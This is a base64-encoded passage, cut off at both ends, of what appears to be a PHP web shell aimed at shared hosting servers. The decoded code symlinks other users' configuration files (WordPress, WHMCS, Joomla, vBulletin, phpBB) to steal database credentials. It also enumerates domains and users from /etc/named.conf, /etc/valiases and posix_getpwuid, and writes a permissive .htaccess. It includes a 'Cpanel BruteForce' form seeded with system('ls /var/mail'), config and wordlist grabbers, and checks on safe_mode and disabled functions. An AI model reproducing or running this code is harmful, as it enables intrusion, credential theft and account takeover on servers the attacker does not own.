TsNCgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0xLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0yLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0zLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTQudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG01LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG02LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG03LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOC50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTkudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywkcGRvbWFpbi4nfn41LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkcGRvbWFpbi4nfn40LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRwZG9tYWluLid+fmludmlzaW8udHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn43LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJHBkb21haW4uJ35+OC50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fm1rLXBvcnRhbGUxLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjEyLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRwZG9tYWluLid+flNtZi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU2LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJHBkb21haW4uJ35+cGhwYmIzLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTYvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+aW5maW5pdHkudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjEudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjIudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjMudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjQudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIyLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MxLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczIudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGExLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEyLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTMudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMy50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG00LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNy50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTgudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG05LnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJHBkb21haW4uJ35+NS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJHBkb21haW4uJ35+NC50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywkcGRvbWFpbi4nfn5pbnZpc2lvLnR4dCcpOw0KCQlzeW1saW5rKCcvaG9tZTcvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+Ny50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRwZG9tYWluLid+fjgudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkcGRvbWFpbi4nfn5tay1wb3J0YWxlMS50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywkcGRvbWFpbi4nfn4xMi50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywkcGRvbWFpbi4nfn5TbWYudHh0Jyk7DQoJCXN5bWxpbmsoJy9ob21lNy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRwZG9tYWluLid+fnBocGJiMy50eHQnKTsNCgkJc3ltbGluaygnL2hvbWU3LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fmluZmluaXR5LnR4dCcpOw0KCX0NCg0KCQkJCSRkMG1haW5zID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOw0KCQkNCgkJCQlpZigkZDBtYWlucykNCgkJCQl7DQoJCQkJCW1rZGlyKCRmbik7DQoJCQkJCWNoZGlyKCRmbik7DQoJCQkJCQkJCQkJDQoJCQkJCWZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbikNCgkJCQkJew0KCQkJCQkJaWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKQ0KCQkJCQkJew0KCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOw0KCQkJCQkJCWZsdXNoKCk7DQoJCQkJCQkJCQ0KCQkJCQkJCWlmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKQ0KCQkJCQkJCXsgDQoJCQkJCQkJCSR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkb21haW5zWzFdWzBdKSk7DQoJCQkJCQkJCQ0KCQkJCQkJCQlzeW1sKCR1c2VyWyduYW1lJ10sJGRvbWFpbnNbMV1bMF0pOwkJCQkJDQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCWVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9bGltZSBzaXplPTM+WyBEb25lIF08L2ZvbnQ+PC9jZW50ZXI+IjsNCgkJCQkJZWNobyAiPGJyPjxjZW50ZXI+PGEgaHJlZj0kZm4vIHRhcmdldD1fYmxhbms+PGZvbnQgc2l6ZT0zIGNvbG9yPSMwMDk5MDA+fCBHbyBIZXJlIHw8L2ZvbnQ+PC9hPjwvY2VudGVyPiI7IA0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQlta2RpcigkZm4pOw0KCQkJCQljaGRpcigkZm4pOw0KCQkJCQkkdGVtcCA9ICIiOw0KCQkJCQkkdmFsMSA9IDA7DQoJCQkJCSR2YWwyID0gMTAwMDsNCgkJCQkJZm9yKDskdmFsMSA8PSAkdmFsMjskdmFsMSsrKSANCgkJCQkJew0KCQkJCQkJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkdmFsMSk7DQoJCQkJCQlpZiAoJHVpZCkNCgkJCQkJCQkkdGVtcCAuPSBqb2luKCc6JywkdWlkKS4iXG4iOw0KCQkJCQkgfQ0KCQkJCQkgZWNobyAnPGJyLz4nOw0KCQkJCQkgJHRlbXAgPSB0cmltKCR0ZW1wKTsNCgkJCQkJIA0KCQkJCQkgJGZpbGU1ID0gZm9wZW4oInRlc3QudHh0IiwidyIpOw0KCQkJCQkgZnB1dHMoJGZpbGU1LCR0ZW1wKTsNCgkJCQkJIGZjbG9zZSgkZmlsZTUpOw0KDQokaHRhY2Nlc3MgPQ0KJ1QzQjBhVzl1Y3lCaGJHd2dDa1JwY21WamRHOXllVWx1WkdWNElISmxZV1J0WlM1b2RHMXNJQXBCWkdSVWVYQmxJSFJsZUhRdmNHeGgNCmFXNGdMbkJvY0NBS1FXUmtTR0Z1Wkd4bGNpQnpaWEoyWlhJdGNHRnljMlZrSUM1d2FIQWdDa0ZrWkZSNWNHVWdkR1Y0ZEM5d2JHRnANCmJpQXVhSFJ0YkNBS1FXUmtTR0Z1Wkd4bGNpQjBlSFFnTG1oMGJXd2dDbEpsY1hWcGNtVWdUbTl1WlNBS1UyRjBhWE5tZVNCQmJuaz0NCic7DQokZmlsZSA9IGZvcGVuKCIuaHRhY2Nlc3MiLCJ3KyIpOw0KJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkaHRhY2Nlc3MpKTsNCgkJCQkJIA0KCQkJCQkgJGZpbGUgPSBmb3BlbigidGVzdC50eHQiLCAiciIpIG9yIGV4aXQoIlVuYWJsZSB0byBvcGVuIGZpbGUhIik7DQoJCQkJCSB3aGlsZSghZmVvZigkZmlsZSkpDQoJCQkJCSB7DQoJCQkJCQkkcyA9IGZnZXRzKCRmaWxlKTsNCgkJCQkJCSRtYXRjaGVzID0gYXJyYXkoKTsNCgkJCQkJCSR0ID0gcHJlZ19tYXRjaCgnL1wvKC4qPylcOlwvL3MnLCAkcywgJG1hdGNoZXMpOw0KCQkJCQkJJG1hdGNoZXMgPSBzdHJfcmVwbGFjZSgiaG9tZS8iLCIiLCRtYXRjaGVzWzFdKTsNCgkJCQkJCWlmKHN0cmxlbigkbWF0Y2hlcykgPiAxMiB8fCBzdHJsZW4oJG1hdGNoZXMpID09IDAgfHwgJG1hdGNoZXMgPT0gImJpbiIgfHwgJG1hdGNoZXMgPT0gImV0Yy9YMTEvZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvbGliL25mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9hcnB3YXRjaCIgfHwgJG1hdGNoZXMgPT0gInZhci9nb3BoZXIiIHx8ICRtYXRjaGVzID09ICJzYmluIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FkbSIgfHwgJG1hdGNoZXMgPT0gInVzci9nYW1lcyIgfHwgJG1hdGNoZXMgPT0gInZhci9mdHAiIHx8ICRtYXRjaGVzID09ICJldGMvbnRwIiB8fCAkbWF0Y2hlcyA9PSAidmFyL3d3dyIgfHwgJG1hdGNoZXMgPT0gInZhci9uYW1lZCIpDQoJCQkJCQkJY29udGludWU7DQoJCQkJCQlzeW1sKCRtYXRjaGVzLCRtYXRjaGVzKTsNCgkJCQkJIH0NCgkJCQkJZmNsb3NlKCRmaWxlKTsNCgkJCQkJZWNobyAiPC90YWJsZT4iOw0KCQkJCQl1bmxpbmsoInRlc3QudHh0Iik7DQoJCQkJCWVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9bGltZSBzaXplPTM+WyBEb25lIF08L2ZvbnQ+PC9jZW50ZXI+IjsNCgkJCQkJZWNobyAiPGJyPjxjZW50ZXI+PGEgaHJlZj0kZm4vIHRhcmdldD1fYmxhbms+PGZvbnQgc2l6ZT0zIGNvbG9yPSMwMDk5MDA+fCBHbyBIZXJlIHw8L2ZvbnQ+PC9hPjwvY2VudGVyPiI7IA0KCQkJCX0NCmVjaG8gIjxocj48Y2VudGVyPjxiPjxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IjsNCmV4aXQ7DQp9DQo/Pg0KPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Il9ibGFuayI+DQoJPHN0cm9uZz4NCjxpbnB1dCBuYW1lPSJwYWdlIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJmaW5kIj48dGFibGU+ICAgICAgCQkJCQ0KICAgIDwvc3Ryb25nPjxicj48YnI+PGNlbnRlcj48Zm9udCBzaXplPSI1IiBzdHlsZT0iaXRhbGljIiBjb2xvcj0iI0ZGMDAwMCI+LS09PVsgQ3BhbmVsIEJydXRlRm9yY2UgXT09LS08L2ZvbnQ+PC9jZW50ZXI+PGJyPjxicj4NCiAgICA8dGFibGUgd2lkdGg9IjYwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KCTx0cj4NCgk8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPg0KCTxjZW50ZXI+PGI+PGZvbnQgc2l6ZT0iNSIgc3R5bGU9Iml0YWxpYyIgY29sb3I9IiNGRjAwMDAiPkNwYW5lbCBCcnV0ZUZvcmNlPC9mb250PjwvYj48L2NlbnRlcj48L3RkPjwvdHI+DQogICAgPHRyPg0KICAgIDx0ZD4NCiAgICA8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPg0KCTxzdHJvbmc+VXNlciA6PC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPjxzdHJvbmc+PHRleHRhcmVhIGNvbHM9Ijc5IiBjbGFzcyA9J2lucHV0eicgcm93cz0iMTAiIG5hbWU9InVzZXJuYW1lcyI+PD9waHAgc3lzdGVtKCdscyAvdmFyL21haWwnKTs/PjwvdGV4dGFyZWE+PC9zdHJvbmc+PC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTIiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPg0KCTxzdHJvbmc+UGFzcyA6PC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPjxzdHJvbmc+PHRleHRhcmVhIGNvbHM9Ijc5IiBjbGFzcyA9J2lucHV0eicgcm93cz0iMTAiIG5hbWU9InBhc3N3b3JkcyI+PC90ZXh0YXJlYT48L3N0cm9uZz48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xhc3M9InN0eWxlMiIgc3R5bGU9IndpZHRoOiAxMzlweCI+DQoJPHN0cm9uZz5UeXBlIDo8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+DQogICAgPHNwYW4gY2xhc3M9InN0eWxlMiI+PHN0cm9uZz5TaW1wbGUgOiA8L3N0cm9uZz4gPC9zcGFuPg0KCTxzdHJvbmc+DQoJPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0eXBlIiB2YWx1ZT0ic2ltcGxlIiBjaGVja2VkPSJjaGVja2VkIiBjbGFzcz0ic3R5bGUzIj48L3N0cm9uZz4NCiAgICA8Zm9udCBjbGFzcz0ic3R5bGUyIj48c3Ryb25nPi9ldGMvcGFzc3dkIDogPC9zdHJvbmc+IDwvZm9udD4NCgk8c3Ryb25nPg0KCTxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idHlwZSIgdmFsdWU9InBhc3N3ZCIgY2xhc3M9InN0eWxlMyI+PC9zdHJvbmc+PHNwYW4gY2xhc3M9InN0eWxlMyI+PHN0cm9uZz4NCgk8L3N0cm9uZz4NCgk8L3NwYW4+DQogICAgPC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiAgY29sc3Bhbj0iNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHpidXQnIHR5cGU9InN1Ym1pdCIgdmFsdWU9InN0YXJ0Ij4NCiAgICA8L3N0cm9uZz4NCiAgICA8L3RkPg0KICAgIDx0cj4NCjwvZm9ybT4gDQo8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUxIiBjb2xzcGFuPSI2Ij48c3Ryb25nPkdldCBDb25maWcgOjwvc3Ryb25nPjwvdGQ+DQogICAgCQkJCTwvdHI+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCgk8c3Ryb25nPg0KPGlucHV0IG5hbWU9Im1lbmRhcGF0a2FuIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJwYXNzd2QiPiAgICAgICAgCQkJCQ0KICAgIDwvc3Ryb25nPg0KICAgIDx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+Rm9sZGVyIE5hbWUgOjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1Ij48c3Ryb25nPjxpbnB1dCBjbGFzcyA9J2lucHV0eicgc2l6ZT0iMzUiIG5hbWU9ImZvbGRlcm5hbWUiIHR5cGU9InRleHQiPjwvc3Ryb25nPjwvdGQ+DQoJPC9zdHJvbmc+DQogICAgPC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjxpbnB1dCBjbGFzcyA9J2lucHV0emJ1dCcgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR08iPg0KICAgIDwvc3Ryb25nPg0KICAgIDwvdGQ+DQogICAgPHRyPg0KPC9mb3JtPiAgIA0KPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xhc3M9InN0eWxlMSIgY29sc3Bhbj0iNiI+PHN0cm9uZz5HZXQgV29yZGxpc3Q8L3N0cm9uZz48L3RkPg0KICAgIAkJCQk8L3RyPg0KPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Il9ibGFuayI+DQoJPHN0cm9uZz4NCjxpbnB1dCBuYW1lPSJwYXNzIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJwYXNzd29yZCI+ICAgICAgICAJCQkJDQogICAgPC9zdHJvbmc+DQogICAgPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PHN0cm9uZz5VcmwgQ29uZmlnIDo8L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHonIHNpemU9IjM1IiBuYW1lPSJ1cmwiIHR5cGU9InRleHQiPjwvc3Ryb25nPjwvdGQ+DQoJPC9zdHJvbmc+DQogICAgPC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjxpbnB1dCBjbGFzcyA9J2lucHV0emJ1dCcgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR08iPg0KICAgIDwvc3Ryb25nPg0KICAgIDwvdGQ+DQogICAgPHRyPg0KPC9mb3JtPg0KPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xhc3M9InN0eWxlMSIgY29sc3Bhbj0iNiI+PHN0cm9uZz5JbmZvIA0KCVNlY3VyaXR5PC9zdHJvbmc+PC90ZD4NCiAgICAJCQkJPC90cj4NCiAgICA8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48c3Ryb25nPlNhZmUgTW9kZTwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij4NCgk8c3Ryb25nPg0KPD9waHANCiRzYWZlX21vZGUgPSBpbmlfZ2V0KCdzYWZlX21vZGUnKTsNCmlmKCRzYWZlX21vZGU9PScxJykNCnsNCmVjaG8gJ09OJzsNCn1lbHNlew0KZWNobyAnT0ZGJzsNCn0NCg0KPz4JDQoJPC9zdHJvbmc+CQ0KCTwvdGQ+DQogICAgCQkJCTwvdHI+DQogICAgPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PHN0cm9uZz5EZXNpYmxlIEZ1bmN0aW9uPC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPg0KCTxzdHJvbmc+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCgk8c3Ryb25nPg0KPGlucHV0IG5hbWU9Im1hdGlrYW4iIHR5cGU9ImhpZGRlbiIgdmFsdWU9InNla2F0YW4iPiAgICAgICAgCQkJCQ0KICAgIDwvc3Ryb25nPg0KDQo8P3BocA0KaWYoJyc9PSgkZnVuYz1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpDQp7DQplY2hvICI8Zm9udCBjb2xvcj0jRkYwMDAwPk5vIFNlY3VyaXR5IGZvciBGdW5jdGlvbjwvZm9udD48L2I+IjsNCn1lbHNlew0KZWNobyAnPHNjcmlwdD5hbGVydCgiUGxlYXNlIHNlZSBiZWxvdyBhbmQgcHJlc3MgPlBsZWFzZSBDbGljayBIZXJlIEZpcnN0ITwiKTs8L3NjcmlwdD4nOw0KZWNobyAiPGZvbnQgY29sb3I9cmVkPiRmdW5jPC9mb250PjwvYj4iOw0KZWNobyAnPHRyPjx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PC90ZD4nOw0KZWNobyAnPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJQbGVhc2UgQ2xpY2sgSGVyZSBGaXJzdCEiPg0KICAgIDwvc3Ryb25nPg0KICAgIDwvdGQ+PC90cj4nOw0KfQ0KPz48L3N0cm9uZz48L3RkPjwvdHI+PC90YWJsZT48L3RhYmxlPjwvdGFibGU+DQo8Pw0KfQ0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAndHV0b3InKSkNCi